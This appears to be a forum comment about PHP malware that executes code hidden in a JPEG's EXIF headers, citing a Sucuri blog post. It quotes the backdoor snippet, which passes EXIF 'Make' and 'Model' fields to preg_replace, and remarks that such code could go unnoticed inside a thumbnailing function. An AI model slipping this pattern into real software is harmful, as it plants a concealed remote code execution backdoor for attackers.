It's not unknown though, there's been PHP malware that executes an images exif data previously. $exif = exif_read_data('/homepages/clientsitepath/images/st

It's not unknown though, there's been PHP malware that executes an images exif data previously. $exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],''); This particular one operates in a similar way but with significantly more stealth, even if you were looking right at it you wouldn't immediately suspect that it's a backdoor executing code. Looks a bit odd, but if it was shoved in a thumbnailing function or something similar you might never notice, doubly so if the code it's executing is a client supplied image. http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exi...